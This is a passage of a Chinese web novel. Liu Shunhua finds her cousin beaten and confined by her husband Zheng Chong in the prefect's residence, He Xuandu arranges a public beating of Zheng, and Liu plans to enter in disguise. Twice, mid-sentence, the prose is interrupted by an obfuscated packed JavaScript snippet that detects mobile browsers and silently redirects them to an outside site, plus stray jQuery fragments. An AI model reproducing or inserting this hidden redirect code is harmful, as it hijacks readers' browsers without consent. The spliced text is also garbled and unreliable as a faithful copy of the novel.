贺玄度抬起头,眸中泛冷,“那正好,可以来个瓮中捉鳖。” …… 回家途中,大表哥提醒几人提前对好口信,到家后,绝不可提今日遇到郑充之事。 逛了一日,柳舜华他们都累得不行,道别后便各自回屋。 柳舜华与柳棠华住在大表姐出嫁前的闺房,与陈莹的闺房相连,仅用帘子做了隔断。 房间虽不大,却被舅母收拾得格外妥帖,床上换了新被褥,桌椅被擦得明亮。 柳棠华已经收拾好躺下,呼呼大睡。 柳舜华心里想着大表姐的事,便掀了帘子去寻表妹陈莹。 陈莹已经卸了妆容,准备睡下。 见柳舜华过来,她起身披了一件衣袍,亲热地拉着表姐坐到床边。 “表姐是睡不着吗,可是床被不适应?” 柳舜华看着陈莹的被褥,笑道:“舅母疼惜,已经把最好的留给我们,便是比起我们家来,都是好的,怎么会不习惯。” 陈莹笑得开心,“那便好。” 柳舜华拉着她的手,问道:“我是想问问大表姐的事。” 陈莹脸色一黯,“好好的,怎么又说起她了。” 柳舜华道:“你说大表姐小半年不曾归省,你们可曾去过刺史府问过?” 陈莹嘴一撇,“怎么没去过,是我亲自去的。” 柳舜华问:“那可有亲眼见到她?” 陈莹点头,“自然。就是过完年之后,往常那个时候,她总是会回来的,可是今年却不见她。我娘不放心,便差人去请,谁知她一口回绝。起初,我娘还担心她是不是在刺史府受了什么委屈,让我随她一同前去。” 陈莹似乎想到了什么不悦之事,脸又难看几分。 “我们在刺史府等了许久,才有下人回说姐姐身体抱恙,不便相见。” 柳舜华不解,“你不是说见到了?” 陈莹撅起了嘴,“还不是我靠着嗓门大,在他们刺史府一通乱喊,姐姐迫于无奈,怕我丢人现眼,才肯出来见我们。” 柳舜华急忙问道:“大表姐当时神色如何,可有不适之处?” “没有,她好得很。她当时全身罗绮,打扮华贵,完全不似以往的模样。” 说到此处,陈莹气得猛地一拍床沿,“表姐,你不知道她都说了什么混账话。她说,她如今是刺史府的少夫人,身份尊贵,不便与我们再过多来往,以免污了刺史府的门楣。” 她拉起柳舜华,“你听听,她说的这是人话吗?我娘从刺史府出来,气得发抖,险些没昏过去。” 柳舜华皱眉,大表姐这话,确实是重了些。 她想了想,问:“表姐当初是因何嫁入刺史府的?” 陈莹叹了口气,“表姐今日问了我,往后可莫要再提,祖父听到又要伤心了。” 柳舜华静静听着,终于明白前因后果。 原来当年外祖放马之时,无意间救下了郑充的祖父。郑充的祖父感激外祖相救之恩,许诺他日若富贵,定当结秦晋之好。后来郑充的外祖参军,并挣得了军功,风风光光回了凉州。回到凉州后的郑充祖父,没有忘掉昔日的诺言,便找上门来,替他孙儿求了大表姐为妻。 怪不得郑充会说,他是因为祖父才娶了表姐。 这么来看,郑充本人对这桩婚姻,好像并不是很满意。 柳舜华呆愣许久,大表姐的处境与她前世实在太像。 可很快,她又好像意识到,不是大表姐与她像,而是世间姻缘,本就圆满太少,幽恨太多。 陈莹感慨道:“姐姐嫁过去已有四年,郑充祖父在时,一切都还正常。可自去年郑充的父亲升任凉州刺史,祖父过世后,一切都变了。” 柳舜华还是觉得不对,郑充既不喜欢表姐,那其祖父过世后,表姐在刺史府应当不太好过,怎么反而突然狂悖起来。 还有,醉月居内,郑充的反应也不对。他三番两次主动挑衅,还特意调查他们柳府,又是为何? 她一头雾水,怎么也想不明白。 明日,无论如何,她都要去趟刺史府。 她知道表妹陈莹虽是个急性子,易冲动,可却最是心软。 想了想,她道:“你嘴上说着不提她,可今日看到郑充那般,不还是气不过,想替表姐出气。” 陈莹头扭到一边,嘴硬道:“我可不是替她出气,我是怕我们陈家丢人。” 柳舜华笑道:“咱们都是自幼一起长大的姐妹,姐妹哪有隔夜仇。不如这样,明日咱们一同去刺史府探望表姐如何?” 陈莹垂头想了一下,悻悻道:“算了,还是不去了,能不能见到还要另说,即便真见到了,也还是会失望。” 柳舜华安慰道:“我远道而来,亲自登门,这个面子表姐还是会给的。你放心,等见到她,若她还是之前的样子,我自会站在你这边,和你一起骂她一顿替你出气。” 陈莹笑了起来,似有所动,很快她又皱起眉来,“今日咱们得罪了郑充,怎么好再登门?” 她又叹了一口气,“我知道,今日我的确是有些冲动了,可我实在忍不了。我当时就想着,若不让他知道,姐姐也是有娘家可依仗的,只怕他日后会更不把姐姐放在眼里。” 柳舜华放下心来,陈莹心里到底还是关心表姐的。 第二日,用过早饭,柳舜华便带着陈莹前往刺史府。 路上,陈莹忍不住问:“表姐,你说郑充今日不在,真的假的?” 柳舜华笑笑,“应该没问题。” 说话间,两人便至刺史府门前。 柳舜华并未急着进门,而是左右张望着,似乎在等什么人。 不一会,果然有个小厮打扮的少年跑了过来,对着柳舜华道:“敢问,可是柳小姐?” 柳舜华点头,“你是贺玄度的人?他那边如何?” 小厮笑道:“在下周松,公子说事情办妥了,让小姐放心。” 柳舜华想了想,这么一大早贺玄度便将事情办好,可见他住得应该也不远。 她问:“贺玄度如今在何处落脚?” 周松垂首道:“都尉府,凉州的万都尉是公子的亲舅舅。” 陈莹激动不已,忙拉着柳舜华,悄声道:“表姐,贺公子竟然是万都尉的亲侄子。我就说嘛,他那样的人,怎么可能是个随从。只是没想到,他竟有这么大来头。” 柳舜华也颇为惊喜,有万都尉这样的舅舅,是贺玄度的福气,她替他感到高兴。 事到如今,柳舜华也不想隐瞒,笑道:“你怕是不知道,贺玄度不单是万都尉的侄子,更是当今丞相的亲儿子。” 当年贺玄度外祖离开长安返回故居,不到三年便撒手人寰。如今万家,全靠万都尉支撑。万都尉行事沉稳,贺玄度生母万氏又早早离世,凉州城百姓们只知万都尉戍守边疆,抵御外敌,是个难得的好官,鲜少有人知道他同贺丞相的这层关系。 陈莹简直要惊掉下巴,“贺公子身份竟如此尊贵,怪不得郑充那厮肯下跪道歉。表姐,你早说啊。早知道有贺公子撑腰,我们哪里用得着忌惮他们刺史府。” 柳舜华在她头上敲了一下,“我跟你说,就是想让你以后见到他收敛一点,别一副一人得道鸡犬升天的样子。他身份贵重,我同他可没那么熟。” “他为了替咱们解围,不惜说是你的随从,怎么可能不熟。”陈莹凑过去,歪头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870226|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑道:“依我看,贺公子对表姐……” 柳舜华瞪了她一眼,陈莹马上乖乖闭嘴。 入府时,都尉府的周松就跟着身后。陈莹自觉有了底气,走得格外豪横些。 两人说明来意,后院管家的嬷嬷客客气气地让她们等在花厅。 等了好一会,那嬷嬷才出来回禀,“两位小姐,真是不好意思,我家少夫人今日身体抱恙,不能出来吹风,还望见谅。” 陈莹猛地一拍桌子,“又是这个借口,她是个糖人吗?风一吹便能化了还是怎的?” 柳舜华按住她的手,温言道:“表姐病了,断然没有出来见客的道理。” 管事嬷嬷不住点头:“正是,正是,柳小姐真是善解……” 话还未说完,就听柳舜华接着道:“既如此,那我们便进去瞧瞧表姐吧。” 嬷嬷忙拦着,“柳小姐,少夫人已经歇下了。” 柳舜华不慌不忙,“表姐病重,我们这些做妹妹进了府却不去瞧,这传出去可不太好听。这位嬷嬷,您这么拦着,不知道的,还以为您是欺我们这些穷亲戚不配呢。” 昨夜问过陈莹,柳舜华才知,郑充的母亲已于一年前病亡。如今刺史府后宅,说起来也是表姐当家。郑充不在,郑刺史这会在处理公务,若想见表姐,今日是绝佳的机会,她怎么可能让一个嬷嬷给挡回去。 嬷嬷脸色稍变,尴尬一笑:“柳小姐误会了,实在是少夫人身体不便。” 柳舜华懒得再同她周旋,看向陈莹,示意她带路。 两人绕过嬷嬷,直接往后院去。 嬷嬷也不再装,小跑着拦在两人跟前,“柳小姐,这里是刺史府,若您执意闯进后院扰了少夫人的清静,我可要叫人请你们出去了。” 柳舜华还未发话,一旁的周松已经大步跨了过去,一把抓起那嬷嬷的手,只听咔嚓一声,嬷嬷惨叫起来。 到底是都尉府出来的人,出手就是快准狠。 柳舜华瞥了那嬷嬷一眼,受伤了也好,免得郑充回来时她再连累受责罚。 两人正准备往前走,便看到远处回廊尽头走出来一个人。 来人是个女子,约莫二十余岁,一身锦绣华服,面容瘦削,脸上抹了厚厚的胭脂水粉,没有半分鲜活气,活像个纸人。 柳舜华盯着来人看了好一会,才认出是大表姐。 她脱口而出:“表姐?” 陈茵只是略一点头,便转头看向陈莹,语气冷淡道:“怎么,上次来闹还嫌不够?” 陈莹先是一愣,随后气得翻了个白眼,拉着柳舜华道:“表姐,你瞧见了没有?我就说,她还是这副鬼样子。” 柳舜华走过去,牵起陈茵的手,温声道:“表姐,是我,舜华啊。” 陈茵眼珠微微一动,很快便又冷下脸来,“你千里迢迢从长安过来,就是来陪她一起胡闹的吗?你是姐姐,她发疯你不劝着,怎么还由着她?” 陈莹气极了,为了见她,她们费尽心机,结果她却依旧如此。 她走上前,一把拉过柳舜华,猛地甩开陈茵的手,“表姐,咱们走。” 陈茵吃痛,轻哼一声,捂住手臂靠在廊柱上,气喘吁吁。 陈莹脚步一顿,抬头看了看她,只见陈茵脸上泛起薄汗,厚厚一层粉被汗渍冲刷,露出一片淤青。 柳舜华突然意识到了什么,她走上前,抓住陈茵的手,不由分说捋起她的袖子。 一片青紫交加,陈茵的胳膊竟没一块是好的。 陈莹呆住了,她直愣愣地走过去,眼里冒火,“是不是郑充那个混账干的?” 陈茵拨开柳舜华的手,整理好衣袖,“不关你们的事,你们还不快走。” 陈莹急道:“我问你是不是郑充打的?这个杀千刀的,我就不信没人管了,我这就找刺史说理去,看我不打死他那个混帐东西。” 陈茵听她这么说,一口气喘不上来,又咳了起来。 “还不是因为你,若不是你昨天同他置气,让他颜面无存,我又怎么会被打。好啊,你去打吧,你打不死他,死的便是我。” 陈莹气得面色涨红,看着陈茵狠狠道:“好,都是我的错,我就不该多管闲事,是我活该。” 柳舜华扶住陈茵,不停地拍着她的背,想为她顺气。 陈茵甩开她,“你们都走,我是刺史府的少夫人,不需要你们来可怜我。” 陈莹实在忍无可忍,她拉过柳舜华,忿忿道:“表姐,你可都听到了,人家是高门贵妇,咱们哪里高攀得起。咱们走,不在这里碍她的眼。” 柳舜华被她拉着往前走,忍不住回头。 陈茵正站在廊下,静静地看着她们。看到柳舜华回头,她眼中的哀伤一闪而过,又恢复了冰冷的表情。 陈莹尤不解气,走到门口,突然转身,对着陈茵道:“你放心好了,少夫人,以后我们陈家人不会再来了。” 陈茵浑身一滞,如坠冰窟,看到她们身影消失在庭院内,眼角划过一行清泪。 34. 第 34 章 陈莹真的被气到了,比昨晚尤甚。 她回头看着刺史府的大门,恨不得啐上一口,“表姐,咱们走,我再也不要来这里了,真是让人寒心。” 柳舜华将她拉上马车,低声道,“你这么说,才是让表姐心寒。” 陈莹一愣,赌气道:“她有什么心寒的,她可是高高在上的刺史府少夫人。” 陈莹不过十四岁,比棠华还要小,最是年轻气盛的年纪。况且她常年跟着表兄们放马,整日纵情驰骋于山野,心思单纯,哪里知道高门大户里的那些险恶。 其实又岂止是她,外祖一家都是厚道的,他们只以为表姐嫁了个好人家,内里如何又怎么知道。 一个没有任何依靠的女人,高嫁给一个不爱她的人,在夫家会如何,这样的境遇,柳舜华再清楚不过。 柳舜华摸了摸她的头,“莹儿,你相信我,表姐肯定有她的苦衷,总有一日,表姐她会同你说清的,你要给她时间。” 陈莹没有说话,默默垂下头。 她被柳舜华安抚一会,气已经消了大半,想到方才姐姐身上的伤痕,忍不住担心起来,“表姐,我姐她,好像真的被郑充那王八蛋打得有点狠,她不会出什么事吧?” 柳舜华柔声道,“我也心疼表姐,不过你放心,既然咱们今日能相见,表姐应该暂时无事。” 陈莹看了看窗外,叹了一口气,“但愿吧。” 将陈莹安全送回家,柳舜华让一直跟着的周松领着,去了都尉府。 近日匈奴一小队人马又来滋扰边境,万都尉带人去抵御。万夫人回了娘家,贺玄度尚未回府,柳舜华只得在正厅等着。 都尉府鲜少有女眷登门,如今突然来了这么个大美人,府内众人不时寻了借口从厅外走过,偷偷瞄上一眼。 柳舜华假装饮茶,来掩饰尴尬,一直喝到再也喝不下,贺玄度终于回来了。 一见到贺玄度,她忍不住起身,语气中不觉多了几分娇嗔,“贺玄度,你怎么才回来。” 说完,柳舜华便觉得有些不妥,她这话听着,活像独守空闺的妻子在抱怨晚归的丈夫。 贺玄度不说话,只是歪头盯着柳舜华笑。 柳舜华被他盯得脸上发烫,忙背过身去。 贺玄度见她有些窘迫,不再逗她,侧身走到桌前,倒了一杯茶递过去。 “让柳小姐久等了,我以茶代酒,向你赔罪。” 柳舜华一看,又是茶,苦着脸道:“真的喝不下了。” 贺玄度顺势将茶喝了,笑道:“你准备一直这么站着吗?” 柳舜华这才走了过去,靠着贺玄度坐了下来。 方才未曾留意,这一坐下,一股浓重的酒味扑鼻而来。 柳舜华皱眉,“你喝酒了?” 贺玄度下意识捂住嘴巴,“没喝几口,都是为了陪那个郑充。是不是有点臭,那我漱漱口再回来。” 柳舜华斜了他一眼,“你的手受了伤,饮酒不利于伤口愈合,你怎么又忘了。” 说到伤口,贺玄度摸着受伤的手,不动声色地用力一按。 “啊,又流血了,好疼。” 守在门口的周松一脸狐疑地看着屋内嚎叫的贺玄度。 表公子自幼被万都尉按在地上打,从未喊过一声。 今日这是要搞哪出?也太矫揉造作了点。 柳舜华急忙起身走了过去,抓住贺玄度的手,将绑住伤口的麻布拆开,“怎么好好的又流血了?” 贺玄度疼得直皱眉,可怜兮兮道:“可能是因为饮了酒的缘故,你说得对,我不该饮酒的。” 柳舜华急得直打转,“那你还不赶紧叫医工过来瞧瞧?” 贺玄度摇头,“不用,我这里有药,重新包扎便好。” 周松很快拿了药进来,特意瞅了一眼贺玄度的伤口,已经愈合的伤口,生生被人重新扯开了。 万都尉临行前交待过要照看好表少爷,如今他却受了伤。周松方想张口问究竟是何人所为,就被贺玄度一记冷眼给瞪了回去。 周松不再多言,乖乖退到一边候着。 柳舜华拿了棉布,轻轻按住伤口,待血止住,小心擦拭掉血迹,又蘸取了药膏,均匀地涂抹在伤处。 她半垂着头,云髻峨峨,眼睫微微煽动,春风撩动着衣衫,幽香阵阵袭来。 贺玄度屏住呼吸,生怕呼出来的浊气玷污了这份清静。 柔软的双手握住他的手掌,指尖划过他的肌肤,像是轻柔的羽毛抚过。冰凉的药膏涂上,灼热的伤口似乎被压制了不少。 “好了!” 轻柔的声音响起,贺玄度恍过神来,缓缓收回了手。 他举起手,看了看,身子往柳舜华那边靠近了一些,“你包得真好看,比他们包得好多了。他们一个个都笨手笨脚的,每次换药都扯得我生疼。” 候在门口的周松脸一黑。 今日换药时,不是表少爷自己说的随意些吗? 柳舜华点头,“你们这都是些男子,不注意也是有的,还是找个手脚轻柔的侍女来换的好。” 贺玄度收回了手,嬉笑道:“我看你就包得挺好,这两日辛苦你每日跑一趟过来换药,如何?” 柳舜华抬头,正撞在他的双眸上。 少年一双眼眸,灿若星辰,满含柔情,诚挚清澈得似一汪清泉,可柳舜华却像被蛊惑了一样,心底不由生出了更多期待还有迷惘。 她的心有些乱。 贺玄度见她不作声,又凑近了一些,举着手道:“我这手,好歹也是因为你才受的伤,你不会就这么弃我不顾吧?柳舜华,你不能这么无情无义,你太让我失望了。” 他离得太近,柳舜华忍不住往后退了一些,看了他一眼,只道:“我没有,我只是……” “那你为何不答应?”贺玄度半仰着头,静静地看着她,漆黑的眼眸干净纯粹,等待她给出解释。 不知为何,他那眼神,让柳舜华想起了等待喂食的绿玉,她忍不住低头笑了起来。 贺玄度被她笑得莫名其妙,“你笑什么?” 柳舜华点头:“好,我答应你。” 贺玄度这才收回了手,神色得意,“这还差不多,不枉我英雄救美,为你出尽风头。” 柳舜华蹙眉,无奈地摇摇头,他讲话口无遮拦的毛病,也不知道能不能改。 默默收拾好桌上的药品,柳舜华交还给一旁的侍卫。 贺玄度话入正题,“你今日来可是在刺史府有了什么发现,想要找我帮忙?” 柳舜华点头,“我确信,表姐被刺史府的人给软禁起来了。” 贺玄度:“你没有见到人?” 柳舜华道:“不,正是见到了人才觉得奇怪。” 贺玄度知道柳舜华心细,问道:“怎么个奇怪法?” 柳舜华握紧手,“表姐她……已经被郑充折磨得不成样子,全身都是伤,却不敢让人知晓。” 不等她说完,贺玄度便骂道:“这个郑充,打一个女人,算什么本事,看来昨夜真的是便宜他了。” 柳舜华深吸一口气,“只怕不止于此。今日见到表姐时,她似乎一直想方设法激怒我们,让我们快些离开。我特意留意过,她的一举一动似乎都有人在监视。” 贺玄度眉头一皱,“何以见得?” 柳舜华想了想,“表姐身边的嬷嬷,不对劲。表姐说话之时,眼光总是不经意地瞥向她,好像是在观察她的脸色。莹儿发现表姐被郑充毒打,说要寻刺史说理时,一旁的嬷嬷立即变了神色,下意识地抬起来手。她那动作,分明是想召人过来,以便随时制服我们。” 她忧心忡忡,“我总有一种感觉,此刻的刺史府,已经戒备深严,好像……好像要出什么大事一样。” 贺玄度略一思索,“你想让我如何帮你?” 柳舜华:“我在凉州不认识什么人,根本进不去刺史府。我想让你想想办法,找人进去,打探一下我表姐的情况。” 贺玄度点头,又嘱咐道:“好,我会想办法让人去查探。不过在这之前,你千万别轻举妄动,刺史府不是你能得罪的,知道吗?” 贺玄度看着她,表情严肃认真,全然没了方才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14881564|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嬉笑的神情。 这样的他,像极了前世的贺玄度。 柳舜华有些发怔。 贺玄度被她盯着,不好意思地摸摸头,“柳舜华,我知道,你此刻定是对我敬佩又仰慕,但你到底是女子,能不能矜持一点,别表现得这么明显。” 柳舜华两眼一闭,转过头去。 他总是在最关键的时候,打破对他的幻想。 柳舜华离开后,贺玄度瘫靠在椅背上,吩咐侍从去熬一碗醒酒汤。 周松走了进来,问道:“公子今日怎么喝了这么多,可是有探听到什么消息?” 贺玄度揉着额头,“别提了,他就是一个十足的赌徒,郑刺史所行之事,他应是知之甚少。不过,我还是打听到一个消息。据他说,刺史府最近花销有点大,他似乎想帮着郑刺史敛财。” 周松脸色暗沉,“这帮人真是贪得无厌,还嫌这些年搜刮得不够?” 贺玄度坐直了些,“郑充这边,不必再探了。倒是柳舜华所说之事,或许是条线索。” 周松点头,“柳小姐当真心思细腻,没想到,竟让她看出来了刺史府的端倪。” 贺玄度敛了神色,有一下没一下地敲击着桌面,“自上次诸侯进京,彭城王便动作频繁,这个关头他又派人到凉州,本就不寻常。若真如柳舜华方才所说,那刺史府最近,必有什么大动作。还有,她表姐这个时候被人控制了起来,那她表姐,说不定会知道一些内情。若是能联系上她,或许会有意想不到的收获。” 周松一拍手:“对啊,我怎么没想到。那今晚我去一趟?今日我刚去过,那里我熟。” 贺玄度想了想,“你先去探探路即可,千万不要打草惊蛇,一切小心为上。 等到三更,贺玄度昏昏欲睡,突然听到门外有动静,马上惊醒。 起床一看,果然是周松回来了。 周松一身夜行衣,跑得气喘吁吁。 贺玄度倒了一杯水递过去,他抓起杯子一饮而尽。 贺玄度问:“怎么样?” 周松喘着气,“公子,有……大发现。刺史府里有可疑之人出没,里面有洗劫商队的贼匪。” 贺玄度眉头深锁,“你确定?” 周松咽了下口水,“万都尉根据幸存胡商的描述,找人画了画像,其中一人脸上有块青色的胎记,我看得真切。” 怪不得官府屡次出动都抓不到人,原来是官匪勾结。 只是有一点贺玄度不明白,他们为何要洗劫商队? 彭城王即便再不济,也不至于要靠洗劫商队来支撑他的野心。 烛火摇曳,灯芯噼啪炸开。 贺玄度突然想到了什么,问:“近些日子以来,贼匪洗劫商队共几起?刺史府组织清剿共几次?” 周松认真思索片刻,“贼匪出没洗劫商队,共八起。刺史府前前后后曾出动过五六次吧。” 贺玄度眉头深锁,“我怀疑,贼匪洗劫商队,从头到尾都是一个幌子,刺史府真正的目的,是借着剿匪的名义,将这些人带进凉州城。” 周松一惊,“刺史府竟敢如此行事,他们到底想要做什么?” 贺玄度摇头,他也猜不出对方究竟是什么目的。 不过事关重大,贺玄度不敢耽搁,立即召来侍卫,让他即刻启程,告知城外的万都尉。 安排好一切,贺玄度又问:“柳小姐的表姐那边呢?” 周松啧啧几声,怒骂道:“那个郑充,真不是东西。她那表姐,是真惨啊。我趴在墙头,隔着老远,都能听到她那惨叫。阖府上下,竟没有一个去劝。若不是怕打草惊蛇,我真想冲过去,给他毒打一顿。没用的玩意儿,只会打女人。” 他顿了一下,犹豫道:“我瞧着郑充那个暴虐样,用不了多久,她那表姐,便是不死也要残了。” 贺玄度握紧拳头,“方才不是说不知刺史府的目的嘛,不如就先拿他开刀,试试这里面的深浅。” 周松挠挠头,“公子打算怎么做?” 贺玄度:“他不是喜欢打人吗?好啊,那就打到他再也起不来。” 35. 第 35 章 郑充在街上被人打了,而且打得很惨。 消息是二表哥带回来的。 说是今日一早,郑充在街上不知道发什么疯,将自己的几个随从赶得远远的,嘴里嘟囔着他要通灵,然后突然拿了个布条,蒙住了自己的眼睛。就这么站在街上,神神道道的,也不知道在做什么。不一会,便有个络腮胡子的大汉冲了出来,钳住他的双手,劈头盖脸一顿打。等随从们反应过来赶去抓人时,大汉就在众目睽睽之下,消失了。 传闻实在过于离奇,几人听得一头雾水。 柳舜华疑惑道:“上次见郑充出门,至少有五六个随从,怎么连个人都没抓住?” 陈莹脸上止不住笑,“难不成真是老天都看不下去,显灵了。” 二表哥摇头,“不知道,怪力乱神的,有的说他是被附身了,还有的说是神仙出手,反正现在说什么的都有。” 柳舜华若有所思,“郑充人怎么样了?” 二表哥道:“被打得不轻,鼻青脸肿的,腿都断了,被人抬着回了刺史府。” 陈莹忍不住笑出声,“这个蠢货,活该。他还自己蒙上了眼,这不是明摆着等着人打。我只恨我没在,我要是在,一定要狠狠地给他两拳。” 柳舜华想了想,总有些不放心,“刺史府那边呢,有什么动静?” 二表哥:“说来也奇怪,郑充被抬走后,刺史府的人气势汹汹地去一趟都尉府。” 都尉府,难道这事和贺玄度有关? 陈莹下意识看向柳舜华,不住用眼神示意她。 柳舜华有些坐不住了,“我有急事,要出去一趟。” …… 都尉府内,贺玄度正斜靠在躺椅上,优然地吃着酪浆。 见柳舜华过来,他殷勤递过一碗,“我就猜到你要过来换药了,特意给你留的。” 柳舜华接过酪浆,看了一眼便放下。 还未开口,贺玄度便催促道:“我新研制的口味,你先尝一口试试,赏个脸。” 他仰着头,日光照在他脸上,眉眼带笑。 柳舜华双手不受控制地端起碗来,只见上面漂了些葡萄干,并其他干果,隐隐能闻到蜂蜜的甜香。 她细细尝了一口,只觉满口留香,忍不住又喝了起来。 她原先最喝不惯酪浆,如今被贺玄度一改,倒真是美味。 贺玄度见她一口气喝了个精光,得意道:“怎样,味道不错吧?” “味道是不错。”柳舜华放下碗,又道:“不过,还怎么还有闲心做这些稀奇古怪的吃食?” 贺玄度躺回软椅内,“你这话奇怪,我来凉州就是为了好好放松,为什么没有闲心?” 柳舜华站在椅子前,垂头看着他,“郑充是不是你找人打的?” 贺玄度坐得直了些,一双桃花眼闪着光,“你也听说了,是不是特别解气?我跟你说,你不用谢我,那个郑充,我也看不惯。” 柳舜华瞥了他一眼,贺玄度想法还真是简单。 光天化日之下,就这么打了郑充,还让刺史府的人找上门。 这不明摆着要同刺史府过不去。 她无奈道:“如今都尉府已经同刺史府闹翻,待万都尉归来,你要如何向他解释?” 贺玄度挑眉道:“谁说同刺史府闹翻了?” 柳舜华有些疑惑,“那刺史府过来做什么?” 贺玄度笑道:“郑充被打的时候,我可是远远地站着,人又不是我打的。而且我们都尉府的人进出都有记录,今日除了我,可没人出过府。他郑充被打,那是上天的安排,和我们都尉府有什么关系。刺史府的人问不出个所以然,就走了。” 柳舜华眉头一皱,“就这么简单?” 贺玄度摇晃着椅子,“就是这么简单,他们刺史府算什么东西,没有证据能拿我如何。刺史府那些人,一群酒囊饭袋,多行不义必自毙,就算真与他们闹翻,能是什么坏事?” 柳舜华一愕,贺玄度说得确有几分道理。 以贺玄度的身份,即便真得罪了刺史府,他们确实奈何不了他分毫。 只是他没必要趟这个浑水。 她道:“贺玄度,若是为了我,你其实没必要这么做,我可以自己……” 贺玄度眼皮一翻,打断了她的话,“也不全是因为你,打个人而已,看不惯就打了。” 柳舜华垂下眼眸,她知道,他这么说是为了让她安心。 她不是不识好歹的人,不再提这些,换了一个话题,“听闻说郑充中了邪,自己蒙上眼等人来打,是怎么回事?” 贺玄度果然来了兴致,坐起身道:“今日郑充主动约我,说他想要跟着我学赌技。我就告诉他,只需在人最多的地方,蒙着眼睛听人来人往的动静,只要足够专注,就能灵通,听出骰子的点数,他就自己蒙上了眼。” 不得不说,这辈子的贺玄度虽说总是有些不着调,人也比较单纯,却还是有几分小聪明。 柳舜华又问:“那你找来动手的人呢,怎么就凭空消失了?” 贺玄度笑道:“这个更简单了。其实就是我事先想办法让郑充将他那些随从赶得远远的,又找来一些人混在人群中。等安排好的打手动手,将郑充打趴下后,那些随从看到,从远处跑过来的时候,打手已经趁乱换好了衣饰头巾,塞给我事先安排好的那些人,然后大摇大摆地离开。” 这个方法倒是巧,配合得当,很容易掩人耳目。 贺玄度仰头,“怎么样,我比你想象中的厉害吧?” 柳舜华看着他,眼神诚挚,“在我心里,你一直都是很厉害的人。” 贺玄度不过是随口一说,没想到柳舜华却这么认真。他平日里在外人面前什么样自己不是不知,不觉有些尴尬。 他咳了几声,嘟囔着,“柳舜华,拿出点你的骨气来,这么奉承,我可看不起你啊。” 柳舜华朝他微微一笑,收回目光。 有风吹来,柳舜华抬头,望向庭外高疏的枝头。 那是一株枣树,叶子油亮,青色的果子累累。 她想起了外祖家中的那株枣树,想起了表姐。 当年离开凉州时,院中的枣树已经结出了青色的果子,只需再等一个月,便能吃上。 她扒着马车,哭着不肯上车,表姐安慰她,“蓁蓁不哭,你放心,等院子里的枣子熟了,我一定把最大最甜的一颗留给你。” 马车缓缓驶出巷子,她掀开车帘,看到表姐追在马车后,哭成泪人。 贺玄度虽暂时替她收拾了郑充,可表姐的问题还是没有解决。她必须想办法,将表姐拖出火海才行。 柳舜华回过头,缓缓道:“你的人昨日去了刺史府吧,我表姐她……又挨打了吧?” 贺玄度见她一副伤感的模样,翻身从椅子上坐起,“是,已经去过了,不过只是远远看着,并没见到她。你先别急啊,郑充已经被打得下不了床,你放心,没有十天半个月,他起不来,你表姐暂时不会有事的。” 柳舜华低眸许久,终于抬起头,“贺玄度,你能帮我,我已经很感激了。只是这毕竟是我们家的事,我会自己动手,不想你再牵扯进来。 贺玄度一愣,“你想将你表姐救出来?那可是刺史府,眼下又守备森严,生人根本不可能放行,你要如何进?” 柳舜华一笑,“这得多亏你啊,给了我这个机会。” 贺玄度略一思索,“你是说,医工?” 柳舜华点头,“正是,郑充被打,刺史府必定会请医工上门医治,这是我唯一的机会。” 贺玄度扬眉,“那可真是太巧了,医治郑充的医工,是我舅舅的人。” 柳舜华愕然,怎么会这么巧? 贺玄度歪头笑,“怎么样,是不是又要把我牵扯进来了?柳舜华,好好地帮我上药,我会考虑考虑给你引荐一下。” 柳舜华垂头一笑,让人去拿了药,抓过贺玄度的手,帮他换药。 她顺着他的话,柔声道:“还请贺大公子大发慈悲,帮我引荐。” 贺玄度没有应承,只是问:“引荐之后呢,你想怎么做?” 柳舜华不想瞒着他,如实道:“自然是要跟着一同入刺史府,寻个恰当的时机,接近表姐,弄清原委。” 贺玄度摇头,“若是这样,我恐怕不能让你去。你表姐被刺史府的人监控起来,这里头一定大有文章,若是你被发现,那后果不堪设想,我不能把你往火坑里推。” 他劝道:“我可以寻个可靠的人进去,一定会想办法同你表姐碰面。” 眼下的刺史府,已是暗流涌动,他不能让她涉险。 柳舜华替他包扎了伤口,定定道:“不行,一定要是我才行,表姐她被困许久,已是杯弓蛇影,她不会再轻易相信任何人的。” 她看着他,眸中闪着坚定的光芒,“贺玄度,这是我唯一的机会了,我必须去。你相信我,我会保护好我自己,绝不会给你们都尉府添乱。” 贺玄度一瞬恍觉,柳舜华或许没有他想象的那般脆弱。 他想,他应该相信她。 …… 隔了两日,柳舜华才跟着范神医入了刺史府。 临行前,贺玄度特意找了人,帮她扮了男装,从头到脚装扮得很仔细,只要不开口,几乎没有破绽。 她穿着件粗布衣衫,戴着小帽,一路垂着头。 被迎着一路进了后院正房,柳舜华长吸一口气,不敢有丝毫懈怠。 后院的管事嬷嬷曾见过她,她必须要小心应对。 郑充就躺在床上,手脚都被包裹了起来,一张脸青一块紫一块,肿得像个蒸坏了的包子。 一个十来岁的小丫头正在喂着药,郑充边喝边呜呜地叫着。 管事嬷嬷一把拉开喂药的丫头,骂道:“蠢货,少夫人就是这么调教你的,这药这么苦,还不去拿些糖来。” 那丫头有些委屈,撇着嘴,“五姨,我已经……” 管事嬷嬷瞪了她一眼,她噘着嘴,走到一边去取糖。 柳舜华一看郑充那幅尊容,拼命忍着要笑的冲动,默默垂下头。 